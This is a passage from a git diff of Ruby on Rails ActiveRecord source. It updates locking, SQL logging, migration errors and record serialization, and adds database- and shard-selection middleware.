+          clear_attribute_change(self.class.locking_column)
+        end
+
+        def _query_constraints_hash
+          return super unless locking_enabled?
+
+          locking_column = self.class.locking_column
+          super.merge(locking_column => _lock_value_for_database(locking_column))
         end
 
         module ClassMethods
@@ -155,10 +175,7 @@ def locking_column=(value)
           end
 
           # The version column used for optimistic locking. Defaults to +lock_version+.
-          def locking_column
-            @locking_column = DEFAULT_LOCKING_COLUMN unless defined?(@locking_column)
-            @locking_column
-          end
+          attr_reader :locking_column
 
           # Reset the column used for optimistic locking back to the +lock_version+ default.
           def reset_locking_column
@@ -173,19 +190,19 @@ def update_counters(id, counters)
           end
 
           private
-
-            # We need to apply this decorator here, rather than on module inclusion. The closure
-            # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
-            # sub class being decorated. As such, changes to `lock_optimistically`, or
-            # `locking_column` would not be picked up.
-            def inherited(subclass)
-              subclass.class_eval do
-                is_lock_column = ->(name, _) { lock_optimistically && name == locking_column }
-                decorate_matching_attribute_types(is_lock_column, :_optimistic_locking) do |type|
-                  LockingType.new(type)
-                end
+            def hook_attribute_type(name, cast_type)
+              if lock_optimistically && name == locking_column
+                cast_type = LockingType.new(cast_type)
               end
+
+              super
+            end
+
+            def inherited(base)
               super
+              base.class_eval do
+                @locking_column = DEFAULT_LOCKING_COLUMN
+              end
             end
         end
     end
@@ -193,7 +210,11 @@ def inherited(subclass)
     # In de/serialize we change `nil` to 0, so that we can allow passing
     # `nil` values to `lock_version`, and not result in `ActiveRecord::StaleObjectError`
     # during update record.
-    class LockingType < DelegateClass(Type::Value) # :nodoc:
+    class LockingType < ActiveSupport::Delegation::DelegateClass(Type::Value) # :nodoc:
+      def self.new(subtype)
+        self === subtype ? subtype : super
+      end
+
       def deserialize(value)
         super.to_i
       end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index 263e2a5f7fac3..6c3d2a075b978 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Locking
+    # = \Pessimistic \Locking
+    #
     # Locking::Pessimistic provides support for row-level locking using
     # SELECT ... FOR UPDATE and other lock types.
     #
-    # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
+    # Chain <tt>ActiveRecord::Base#find</tt> to ActiveRecord::QueryMethods#lock to obtain an exclusive
     # lock on the selected rows:
     #   # select * from accounts where id=1 for update
     #   Account.lock.find(1)
@@ -12,9 +16,9 @@ module Locking
     # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
     #
     #   Account.transaction do
-    #     # select * from accounts where name = 'shugo' limit 1 for update
-    #     shugo = Account.where("name = 'shugo'").lock(true).first
-    #     yuko = Account.where("name = 'yuko'").lock(true).first
+    #     # select * from accounts where name = 'shugo' limit 1 for update nowait
+    #     shugo = Account.lock("FOR UPDATE NOWAIT").find_by(name: "shugo")
+    #     yuko = Account.lock("FOR UPDATE NOWAIT").find_by(name: "yuko")
     #     shugo.balance -= 100
     #     shugo.save!
     #     yuko.balance += 100
@@ -40,45 +44,65 @@ module Locking
     #
     # You can start a transaction and acquire the lock in one go by calling
     # <tt>with_lock</tt> with a block. The block is called from within
-    # a transaction, the object is already locked. Example:
+    # a transaction, the object is already locked, and the transaction is
+    # yielded so you can register callbacks. Example:
     #
     #   account = Account.first
-    #   account.with_lock do
+    #   account.with_lock do |transaction|
     #     # This block is called within a transaction,
     #     # account is already locked.
+    #     transaction.after_commit { puts "hello" }
     #     account.balance -= 100
     #     account.save!
     #   end
     #
     # Database-specific information on row locking:
-    #   MySQL: http://dev.mysql.com/doc/refman/5.7/en/innodb-locking-reads.html
-    #   PostgreSQL: http://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
+    #
+    # [MySQL]
+    #   https://dev.mysql.com/doc/refman/en/innodb-locking-reads.html
+    #
+    # [PostgreSQL]
+    #   https://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
     module Pessimistic
       # Obtain a row lock on this record. Reloads the record to obtain the requested
       # lock. Pass an SQL locking clause to append the end of the SELECT statement
       # or pass true for "FOR UPDATE" (the default, an exclusive row lock). Returns
       # the locked record.
       def lock!(lock = true)
+        if self.class.current_preventing_writes
+          raise ActiveRecord::ReadOnlyError, "Lock query attempted while in readonly mode"
+        end
+
         if persisted?
-          if changed?
-            ActiveSupport::Deprecation.warn(<<-MSG.squish)
-              Locking a record with unpersisted changes is deprecated and will raise an
-              exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
-              discard them explicitly.
+          if has_changes_to_save?
+            raise(<<-MSG.squish)
+              Locking a record with unpersisted changes is not supported. Use
+              `save` to persist the changes, or `reload` to discard them
+              explicitly.
+              Changed attributes: #{changed.map(&:inspect).join(', ')}.
             MSG
           end
+
           reload(lock: lock)
         end
+
         self
       end
 
-      # Wraps the passed block in a transaction, locking the object
-      # before yielding. You can pass the SQL locking clause
-      # as argument (see <tt>lock!</tt>).
-      def with_lock(lock = true)
-        transaction do
+      # Wraps the passed block in a transaction, reloading the object with a
+      # lock before yielding. Yields the current transaction so you can
+      # register callbacks. You can pass the SQL locking clause
+      # as an optional argument (see #lock!).
+      #
+      # You can also pass options like <tt>requires_new:</tt>, <tt>isolation:</tt>,
+      # and <tt>joinable:</tt> to the wrapping transaction (see
+      # ActiveRecord::ConnectionAdapters::DatabaseStatements#transaction).
+      def with_lock(*args)
+        transaction_opts = args.extract_options!
+        lock = args.present? ? args.first : true
+        transaction(**transaction_opts) do |transaction|
           lock!(lock)
-          yield
+          yield transaction
         end
       end
     end
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index ea101946f4b2e..94d724af3a244 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -1,67 +1,82 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  class LogSubscriber < ActiveSupport::LogSubscriber
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
     IGNORE_PAYLOAD_NAMES = ["SCHEMA", "EXPLAIN"]
 
-    def self.runtime=(value)
-      ActiveRecord::RuntimeRegistry.sql_runtime = value
-    end
+    self.namespace = "active_record"
 
-    def self.runtime
-      ActiveRecord::RuntimeRegistry.sql_runtime ||= 0
-    end
+    class_attribute :backtrace_cleaner, default: ActiveSupport::BacktraceCleaner.new
 
-    def self.reset_runtime
-      rt, self.runtime = runtime, 0
-      rt
+    def strict_loading_violation(event)
+      debug do
+        owner = event[:payload][:owner]
+        klass = event[:payload][:class]
+        name = event[:payload][:name]
+        message = +"`#{owner}` is marked for strict_loading."
+        message << " The #{klass ? "#{klass} association" : "polymorphic association"}"
+        message << " named `:#{name}` cannot be lazily loaded."
+
+        color(message, RED)
+      end
     end
+    event_log_level :strict_loading_violation, :debug
 
     def sql(event)
-      self.class.runtime += event.duration
-      return unless logger.debug?
-
-      payload = event.payload
+      payload = event[:payload]
 
       return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
 
-      name  = "#{payload[:name]} (#{event.duration.round(1)}ms)"
+      name = if payload[:async]
+        "ASYNC #{payload[:name]} (#{payload[:lock_wait].round(1)}ms) (db time #{payload[:duration_ms].round(1)}ms)"
+      else
+        "#{payload[:name]} (#{payload[:duration_ms].round(1)}ms)"
+      end
       name  = "CACHE #{name}" if payload[:cached]
       sql   = payload[:sql]
-      binds = nil
+      binds = payload[:binds]
 
-      unless (payload[:binds] || []).empty?
-        casted_params = type_casted_binds(payload[:binds], payload[:type_casted_binds])
-        binds = "  " + payload[:binds].zip(casted_params).map { |attr, value|
-          render_bind(attr, value)
-        }.inspect
+      if payload[:binds]&.any?
+        binds = binds.inspect
+        binds.prepend("  ")
       end
 
       name = colorize_payload_name(name, payload[:name])
-      sql  = color(sql, sql_color(sql), true)
+      sql  = color(sql, sql_color(sql), bold: true) if colorize_logging
 
       debug "  #{name}  #{sql}#{binds}"
     end
+    event_log_level :sql, :debug
 
-    private
+    def self.default_logger
+      ActiveRecord::Base.logger
+    end
 
-      def type_casted_binds(binds, casted_binds)
-        casted_binds || binds.map { |attr| type_cast attr.value_for_database }
+    private
+      def type_casted_binds(casted_binds)
+        casted_binds.respond_to?(:call) ? casted_binds.call : casted_binds
       end
 
-      def render_bind(attr, type_casted_value)
-        value = if attr.type.binary? && attr.value
-          "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+      def render_bind(attr, value)
+        case attr
+        when ActiveModel::Attribute
+          if attr.type.binary? && attr.value
+            value = "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+          end
+        when Array
+          attr = attr.first
         else
-          type_casted_value
+          attr = nil
         end
 
-        [attr.name, value]
+        [attr&.name, value]
       end
 
       def colorize_payload_name(name, payload_name)
         if payload_name.blank? || payload_name == "SQL" # SQL vs Model Load/Exists
-          color(name, MAGENTA, true)
+          color(name, MAGENTA, bold: true)
         else
-          color(name, CYAN, true)
+          color(name, CYAN, bold: true)
         end
       end
 
@@ -86,14 +101,32 @@ def sql_color(sql)
         end
       end
 
-      def logger
-        ActiveRecord::Base.logger
+      def debug(progname = nil, &block)
+        return unless super
+
+        if ActiveRecord.verbose_query_logs
+          log_query_source
+        end
+      end
+
+      def log_query_source
+        source = query_source_location
+
+        if source
+          logger.debug("  ↳ #{source}")
+        end
+      end
+
+      def query_source_location
+        backtrace_cleaner.first_clean_frame
       end
 
-      def type_cast(value)
-        ActiveRecord::Base.connection.type_cast(value)
+      def filter(name, value)
+        ActiveRecord::Base.inspection_filter.filter_param(name, value)
       end
   end
 end
 
-ActiveRecord::LogSubscriber.attach_to :active_record
+ActiveSupport.event_reporter.subscribe(
+  ActiveRecord::LogSubscriber.new, &ActiveRecord::LogSubscriber.subscription_filter
+)
diff --git a/activerecord/lib/active_record/marshalling.rb b/activerecord/lib/active_record/marshalling.rb
new file mode 100644
index 0000000000000..463bb28f535d2
--- /dev/null
+++ b/activerecord/lib/active_record/marshalling.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Marshalling
+    @format_version = 6.1
+
+    class << self
+      attr_reader :format_version
+
+      def format_version=(version)
+        case version
+        when 6.1
+          Methods.remove_method(:marshal_dump) if Methods.method_defined?(:marshal_dump)
+        when 7.1
+          Methods.alias_method(:marshal_dump, :_marshal_dump_7_1)
+        else
+          raise ArgumentError, "Unknown marshalling format: #{version.inspect}"
+        end
+        @format_version = version
+      end
+    end
+
+    module Methods
+      def _marshal_dump_7_1
+        payload = [attributes_for_database, new_record?]
+
+        cached_associations = self.class.reflect_on_all_associations.select do |reflection|
+          if association_cached?(reflection.name)
+            association = association(reflection.name)
+            association.loaded? || association.target.present?
+          end
+        end
+
+        unless cached_associations.empty?
+          payload << cached_associations.map do |reflection|
+            [reflection.name, association(reflection.name).target]
+          end
+        end
+
+        payload
+      end
+
+      def marshal_load(state)
+        attributes_from_database, new_record, associations = state
+
+        attributes = self.class.attributes_builder.build_from_database(attributes_from_database)
+        init_with_attributes(attributes, new_record)
+
+        if associations
+          associations.each do |name, target|
+            association(name).target = target
+          rescue ActiveRecord::AssociationNotFoundError
+            # the association no longer exist, we can just skip it.
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/message_pack.rb b/activerecord/lib/active_record/message_pack.rb
new file mode 100644
index 0000000000000..208cf10faa00c
--- /dev/null
+++ b/activerecord/lib/active_record/message_pack.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module MessagePack # :nodoc:
+    FORMAT_VERSION = 1
+
+    class << self
+      def dump(input)
+        encoder = Encoder.new
+        [FORMAT_VERSION, encoder.encode(input), encoder.entries]
+      end
+
+      def load(dumped)
+        format_version, top_level, entries = dumped
+        unless format_version == FORMAT_VERSION
+          raise "Invalid format version: #{format_version.inspect}"
+        end
+        Decoder.new(entries).decode(top_level)
+      end
+    end
+
+    module Extensions
+      extend self
+
+      def install(registry)
+        registry.register_type 119, ActiveModel::Type::Binary::Data,
+          packer: :to_s,
+          unpacker: :new
+
+        registry.register_type 120, ActiveRecord::Base,
+          packer: method(:write_record),
+          unpacker: method(:read_record),
+          recursive: true
+      end
+
+      def write_record(record, packer)
+        packer.write(ActiveRecord::MessagePack.dump(record))
+      end
+
+      def read_record(unpacker)
+        ActiveRecord::MessagePack.load(unpacker.read)
+      end
+    end
+
+    class Encoder
+      attr_reader :entries
+
+      def initialize
+        @entries = []
+        @refs = {}.compare_by_identity
+      end
+
+      def encode(input)
+        if input.is_a?(Array)
+          input.map { |record| encode_record(record) }
+        elsif input
+          encode_record(input)
+        end
+      end
+
+      def encode_record(record)
+        ref = @refs[record]
+
+        if !ref
+          ref = @refs[record] = @entries.size
+          @entries << build_entry(record)
+          add_cached_associations(record, @entries.last)
+        end
+
+        ref
+      end
+
+      def build_entry(record)
+        [
+          ActiveSupport::MessagePack::Extensions.dump_class(record.class),
+          record.attributes_for_database,
+          record.new_record?
+        ]
+      end
+
+      def add_cached_associations(record, entry)
+        record.class.normalized_reflections.each_value do |reflection|
+          if record.association_cached?(reflection.name) && record.association(reflection.name).loaded?
+            entry << reflection.name << encode(record.association(reflection.name).target)
+          end
+        end
+      end
+    end
+
+    class Decoder
+      def initialize(entries)
+        @records = entries.map { |entry| build_record(entry) }
+        @records.zip(entries) { |record, entry| resolve_cached_associations(record, entry) }
+      end
+
+      def decode(ref)
+        if ref.is_a?(Array)
+          ref.map { |r| @records[r] }
+        elsif ref
+          @records[ref]
+        end
+      end
+
+      def build_record(entry)
+        class_name, attributes_hash, is_new_record, * = entry
+        klass = ActiveSupport::MessagePack::Extensions.load_class(class_name)
+        attributes = klass.attributes_builder.build_from_database(attributes_hash)
+        klass.allocate.init_with_attributes(attributes, is_new_record)
+      end
+
+      def resolve_cached_associations(record, entry)
+        i = 3 # entry == [class_name, attributes_hash, is_new_record, *associations]
+        while i < entry.length
+          begin
+            record.association(entry[i]).target = decode(entry[i + 1])
+          rescue ActiveRecord::AssociationNotFoundError
+            # The association no longer exists, so just skip it.
+          end
+          i += 2
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/middleware/database_selector.rb b/activerecord/lib/active_record/middleware/database_selector.rb
new file mode 100644
index 0000000000000..f5f094caf0f3d
--- /dev/null
+++ b/activerecord/lib/active_record/middleware/database_selector.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require "active_record/middleware/database_selector/resolver"
+
+module ActiveRecord
+  module Middleware
+    # = Database Selector \Middleware
+    #
+    # The DatabaseSelector Middleware provides a framework for automatically
+    # swapping from the primary to the replica database connection. \Rails
+    # provides a basic framework to determine when to swap and allows for
+    # applications to write custom strategy classes to override the default
+    # behavior.
+    #
+    # The resolver class defines when the application should switch (i.e. read
+    # from the primary if a write occurred less than 2 seconds ago) and a
+    # resolver context class that sets a value that helps the resolver class
+    # decide when to switch.
+    #
+    # \Rails default middleware uses the request's session to set a timestamp
+    # that informs the application when to read from a primary or read from a
+    # replica.
+    #
+    # To use the DatabaseSelector in your application with default settings,
+    # run the provided generator.
+    #
+    #   $ bin/rails g active_record:multi_db
+    #
+    # This will create a file named +config/initializers/multi_db.rb+ with the
+    # following contents:
+    #
+    #   Rails.application.configure do
+    #     config.active_record.database_selector = { delay: 2.seconds }
+    #     config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+    #     config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+    #   end
+    #
+    # Alternatively you can set the options in your environment config or
+    # any other config file loaded on boot.
+    #
+    # The default behavior can be changed by setting the config options to a
+    # custom class:
+    #
+    #   config.active_record.database_selector = { delay: 2.seconds }
+    #   config.active_record.database_resolver = MyResolver
+    #   config.active_record.database_resolver_context = MyResolver::MySession
+    #
+    # Note: If you are using <tt>rails new my_app --minimal</tt> you will need
+    # to call <tt>require "active_support/core_ext/integer/time"</tt> to load
+    # the core extension in order to use +2.seconds+
+    class DatabaseSelector
+      def initialize(app, resolver_klass = nil, context_klass = nil, options = {})
+        @app = app
+        @resolver_klass = resolver_klass || Resolver
+        @context_klass = context_klass || Resolver::Session
+        @options = options
+      end
+
+      attr_reader :resolver_klass, :context_klass, :options
+
+      # Middleware that determines which database connection to use in a multiple
+      # database application.
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        select_database(request) do
+          @app.call(env)
+        end
+      end
+
+      private
+        def select_database(request, &blk)
+          context = context_klass.call(request)
+          resolver = resolver_klass.call(context, options)
+
+          response = if resolver.reading_request?(request)
+            resolver.read(&blk)
+          else
+            resolver.write(&blk)
+          end
+
+          resolver.update_context(response)
+          response
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/middleware/database_selector/resolver.rb b/activerecord/lib/active_record/middleware/database_selector/resolver.rb
new file mode 100644
index 0000000000000..2b5c39f98dc74
--- /dev/null
+++ b/activerecord/lib/active_record/middleware/database_selector/resolver.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "active_record/middleware/database_selector/resolver/session"
+require "active_support/core_ext/numeric/time"
+
+module ActiveRecord
+  module Middleware
+    class DatabaseSelector
+      # The Resolver class is used by the DatabaseSelector middleware to
+      # determine which database the request should use.
+      #
+      # To change the behavior of the Resolver class in your application,
+      # create a custom resolver class that inherits from
+      # DatabaseSelector::Resolver and implements the methods that need to
+      # be changed.
+      #
+      # By default the Resolver class will send read traffic to the replica
+      # if it's been 2 seconds since the last write.
+      class Resolver # :nodoc:
+        SEND_TO_REPLICA_DELAY = 2.seconds
+
+        def self.call(context, options = {})
+          new(context, options)
+        end
+
+        def initialize(context, options = {})
+          @context = context
+          @options = options
+          @delay = @options && @options[:delay] ? @options[:delay] : SEND_TO_REPLICA_DELAY
+          @instrumenter = ActiveSupport::Notifications.instrumenter
+        end
+
+        attr_reader :context, :delay, :instrumenter
+
+        def read(&blk)
+          if read_from_primary?
+            read_from_primary(&blk)
+          else
+            read_from_replica(&blk)
+          end
+        end
+
+        def write(&blk)
+          write_to_primary(&blk)
+        end
+
+        def update_context(response)
+          context.save(response)
+        end
+
+        def reading_request?(request)
+          request.get? || request.head?
+        end
+
+        private
+          def read_from_primary(&blk)
+            ActiveRecord::Base.connected_to(role: ActiveRecord.writing_role, prevent_writes: true) do
+              instrumenter.instrument("database_selector.active_record.read_from_primary", &blk)
+            end
+          end
+
+          def read_from_replica(&blk)
+            ActiveRecord::Base.connected_to(role: ActiveRecord.reading_role, prevent_writes: true) do
+              instrumenter.instrument("database_selector.active_record.read_from_replica", &blk)
+            end
+          end
+
+          def write_to_primary
+            ActiveRecord::Base.connected_to(role: ActiveRecord.writing_role, prevent_writes: false) do
+              instrumenter.instrument("database_selector.active_record.wrote_to_primary") do
+                yield
+              ensure
+                context.update_last_write_timestamp
+              end
+            end
+          end
+
+          def read_from_primary?
+            !time_since_last_write_ok?
+          end
+
+          def send_to_replica_delay
+            delay
+          end
+
+          def time_since_last_write_ok?
+            Time.now - context.last_write_timestamp >= send_to_replica_delay
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/middleware/database_selector/resolver/session.rb b/activerecord/lib/active_record/middleware/database_selector/resolver/session.rb
new file mode 100644
index 0000000000000..530701fb8d942
--- /dev/null
+++ b/activerecord/lib/active_record/middleware/database_selector/resolver/session.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Middleware
+    class DatabaseSelector
+      class Resolver
+        # The session class is used by the DatabaseSelector::Resolver to save
+        # timestamps of the last write in the session.
+        #
+        # The last_write is used to determine whether it's safe to read
+        # from the replica or the request needs to be sent to the primary.
+        class Session # :nodoc:
+          def self.call(request)
+            new(request.session)
+          end
+
+          # Converts time to a timestamp that represents milliseconds since
+          # epoch.
+          def self.convert_time_to_timestamp(time)
+            time.to_i * 1000 + time.usec / 1000
+          end
+
+          # Converts milliseconds since epoch timestamp into a time object.
+          def self.convert_timestamp_to_time(timestamp)
+            timestamp ? Time.at(timestamp / 1000, (timestamp % 1000) * 1000) : Time.at(0)
+          end
+
+          def initialize(session)
+            @session = session
+          end
+
+          attr_reader :session
+
+          def last_write_timestamp
+            self.class.convert_timestamp_to_time(session[:last_write])
+          end
+
+          def update_last_write_timestamp
+            session[:last_write] = self.class.convert_time_to_timestamp(Time.now)
+          end
+
+          def save(response)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/middleware/shard_selector.rb b/activerecord/lib/active_record/middleware/shard_selector.rb
new file mode 100644
index 0000000000000..fa81bf38f8426
--- /dev/null
+++ b/activerecord/lib/active_record/middleware/shard_selector.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Middleware
+    # = Shard Selector \Middleware
+    #
+    # The ShardSelector Middleware provides a framework for automatically
+    # swapping shards. \Rails provides a basic framework to determine which
+    # shard to switch to and allows for applications to write custom strategies
+    # for swapping if needed.
+    #
+    # == Setup
+    #
+    # Applications must provide a resolver that will provide application-specific logic for
+    # selecting the appropriate shard. Setting +config.active_record.shard_resolver+ will cause
+    # Rails to add ShardSelector to the default middleware stack.
+    #
+    # The resolver, along with any configuration options, can be set in the application
+    # configuration using an initializer like so:
+    #
+    #   Rails.application.configure do
+    #     config.active_record.shard_selector = { lock: false, class_name: "AnimalsRecord" }
+    #     config.active_record.shard_resolver = ->(request) {
+    #       subdomain = request.subdomain
+    #       tenant = Tenant.find_by_subdomain!(subdomain)
+    #       tenant.shard
+    #     }
+    #   end
+    #
+    # == Configuration
+    #
+    # The behavior of ShardSelector can be altered through some configuration options.
+    #
+    # [+lock:+]
+    #   +lock+ is true by default and will prohibit the request from switching shards once inside
+    #   the block. If +lock+ is false, then shard switching will be allowed. For tenant based
+    #   sharding, +lock+ should always be true to prevent application code from mistakenly switching
+    #   between tenants.
+    #
+    # [+class_name:+]
+    #   +class_name+ is the name of the abstract connection class to switch. By
+    #   default, the ShardSelector will use ActiveRecord::Base, but if the
+    #   application has multiple databases, then this option should be set to
+    #   the name of the sharded database's abstract connection class.
+    #
+    class ShardSelector
+      def initialize(app, resolver, options = {})
+        @app = app
+        @resolver = resolver
+        @options = options
+      end
+
+      attr_reader :resolver, :options
+
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        shard = selected_shard(request)
+
+        set_shard(shard) do
+          @app.call(env)
+        end
+      end
+
+      private
+        def selected_shard(request)
+          resolver.call(request)
+        end
+
+        def set_shard(shard, &block)
+          klass = options[:class_name]&.constantize || ActiveRecord::Base
+
+          klass.connected_to(shard: shard.to_sym) do
+            klass.prohibit_shard_swapping(options.fetch(:lock, true), &block)
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index 40f6226315489..a1b32c3fe2694 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,9 +1,13 @@
-require "set"
-require "zlib"
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/access"
+require "active_support/core_ext/enumerable"
 require "active_support/core_ext/module/attribute_accessors"
+require "active_support/actionable_error"
+require "active_record/migration/pending_migration_connection"
 
 module ActiveRecord
-  class MigrationError < ActiveRecordError#:nodoc:
+  class MigrationError < ActiveRecordError # :nodoc:
     def initialize(message = nil)
       message = "\n\n#{message}\n\n" if message
       super
@@ -14,13 +18,13 @@ def initialize(message = nil)
   # For example the following migration is not reversible.
   # Rolling back this migration will raise an ActiveRecord::IrreversibleMigration error.
   #
-  #   class IrreversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #   class IrreversibleMigrationExample < ActiveRecord::Migration[8.2]
   #     def change
   #       create_table :distributors do |t|
   #         t.string :zipcode
   #       end
   #
-  #       execute <<-SQL
+  #       execute <<~SQL
   #         ALTER TABLE distributors
   #           ADD CONSTRAINT zipchk
   #             CHECK (char_length(zipcode) = 5) NO INHERIT;
@@ -32,13 +36,13 @@ def initialize(message = nil)
   #
   # 1. Define <tt>#up</tt> and <tt>#down</tt> methods instead of <tt>#change</tt>:
   #
-  #  class ReversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #  class ReversibleMigrationExample < ActiveRecord::Migration[8.2]
   #    def up
   #      create_table :distributors do |t|
   #        t.string :zipcode
   #      end
   #
-  #      execute <<-SQL
+  #      execute <<~SQL
   #        ALTER TABLE distributors
   #          ADD CONSTRAINT zipchk
   #            CHECK (char_length(zipcode) = 5) NO INHERIT;
@@ -46,7 +50,7 @@ def initialize(message = nil)
   #    end
   #
   #    def down
-  #      execute <<-SQL
+  #      execute <<~SQL
   #        ALTER TABLE distributors
   #          DROP CONSTRAINT zipchk
   #      SQL
@@ -57,7 +61,7 @@ def initialize(message = nil)
   #
   # 2. Use the #reversible method in <tt>#change</tt> method:
   #
-  #   class ReversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #   class ReversibleMigrationExample < ActiveRecord::Migration[8.2]
   #     def change
   #       create_table :distributors do |t|
   #         t.string :zipcode
@@ -65,7 +69,7 @@ def initialize(message = nil)
   #
   #       reversible do |dir|
   #         dir.up do
-  #           execute <<-SQL
+  #           execute <<~SQL
   #             ALTER TABLE distributors
   #               ADD CONSTRAINT zipchk
   #                 CHECK (char_length(zipcode) = 5) NO INHERIT;
@@ -73,7 +77,7 @@ def initialize(message = nil)
   #         end
   #
   #         dir.down do
-  #           execute <<-SQL
+  #           execute <<~SQL
   #             ALTER TABLE distributors
   #               DROP CONSTRAINT zipchk
   #           SQL
@@ -84,7 +88,7 @@ def initialize(message = nil)
   class IrreversibleMigration < MigrationError
   end
 
-  class DuplicateMigrationVersionError < MigrationError#:nodoc:
+  class DuplicateMigrationVersionError < MigrationError # :nodoc:
     def initialize(version = nil)
       if version
         super("Multiple migrations have the version number #{version}.")
@@ -94,7 +98,7 @@ def initialize(version = nil)
     end
   end
 
-  class DuplicateMigrationNameError < MigrationError#:nodoc:
+  class DuplicateMigrationNameError < MigrationError # :nodoc:
     def initialize(name = nil)
       if name
         super("Multiple migrations have the name #{name}.")
@@ -104,7 +108,7 @@ def initialize(name = nil)
     end
   end
 
-  class UnknownMigrationVersionError < MigrationError #:nodoc:
+  class UnknownMigrationVersionError < MigrationError # :nodoc:
     def initialize(version = nil)
       if version
         super("No migration with version number #{version}.")
@@ -114,7 +118,7 @@ def initialize(version = nil)
     end
   end
 
-  class IllegalMigrationNameError < MigrationError#:nodoc:
+  class IllegalMigrationNameError < MigrationError # :nodoc:
     def initialize(name = nil)
       if name
         super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed).")
@@ -124,27 +128,71 @@ def initialize(name = nil)
     end
   end
 
-  class PendingMigrationError < MigrationError#:nodoc:
-    def initialize(message = nil)
-      if !message && defined?(Rails.env)
-        super("Migrations are pending. To resolve this issue, run:\n\n        bin/rails db:migrate RAILS_ENV=#{::Rails.env}")
-      elsif !message
-        super("Migrations are pending. To resolve this issue, run:\n\n        bin/rails db:migrate")
+  class InvalidMigrationTimestampError < MigrationError # :nodoc:
+    def initialize(version = nil, name = nil)
+      if version && name
+        super(<<~MSG)
+          Invalid timestamp #{version} for migration file: #{name}.
+          Timestamp must be in form YYYYMMDDHHMMSS, and less than #{(Time.now.utc + 1.day).strftime("%Y%m%d%H%M%S")}.
+        MSG
       else
-        super
+        super(<<~MSG)
+          Invalid timestamp for migration.
+          Timestamp must be in form YYYYMMDDHHMMSS, and less than #{(Time.now.utc + 1.day).strftime("%Y%m%d%H%M%S")}.
+        MSG
       end
     end
   end
 
-  class ConcurrentMigrationError < MigrationError #:nodoc:
-    DEFAULT_MESSAGE = "Cannot run migrations because another migration process is currently running.".freeze
+  class PendingMigrationError < MigrationError # :nodoc:
+    include ActiveSupport::ActionableError
+
+    action "Run pending migrations" do
+      ActiveRecord::Tasks::DatabaseTasks.migrate_all
+
+      if ActiveRecord.dump_schema_after_migration
+        ActiveRecord::Tasks::DatabaseTasks.dump_all
+      end
+    end
+
+    def initialize(message = nil, pending_migrations: nil)
+      if pending_migrations.nil?
+        pending_migrations = connection_pool.migration_context.open.pending_migrations
+      end
+
+      super(message || detailed_migration_message(pending_migrations))
+    end
+
+    private
+      def detailed_migration_message(pending_migrations)
+        message = "Migrations are pending. To resolve this issue, run:\n\n        bin/rails db:migrate"
+        message += " RAILS_ENV=#{::Rails.env}" if defined?(Rails.env) && !Rails.env.local?
+        message += "\n\n"
+
+        message += "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}\n\n"
+
+        pending_migrations.each do |pending_migration|
+          message += "#{pending_migration.filename}\n"
+        end
+
+        message
+      end
+
+      def connection_pool
+        ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
+      end
+  end
+
+  class ConcurrentMigrationError < MigrationError # :nodoc:
+    DEFAULT_MESSAGE = "Cannot run migrations because another migration process is currently running."
+    RELEASE_LOCK_FAILED_MESSAGE = "Failed to release advisory lock"
 
     def initialize(message = DEFAULT_MESSAGE)
       super
     end
   end
 
-  class NoEnvironmentInSchemaError < MigrationError #:nodoc:
+  class NoEnvironmentInSchemaError < MigrationError # :nodoc:
     def initialize
       msg = "Environment data not found in the schema. To resolve this issue, run: \n\n        bin/rails db:environment:set"
       if defined?(Rails.env)
@@ -155,9 +203,9 @@ def initialize
     end
   end
 
-  class ProtectedEnvironmentError < ActiveRecordError #:nodoc:
+  class ProtectedEnvironmentError < ActiveRecordError # :nodoc:
     def initialize(env = "production")
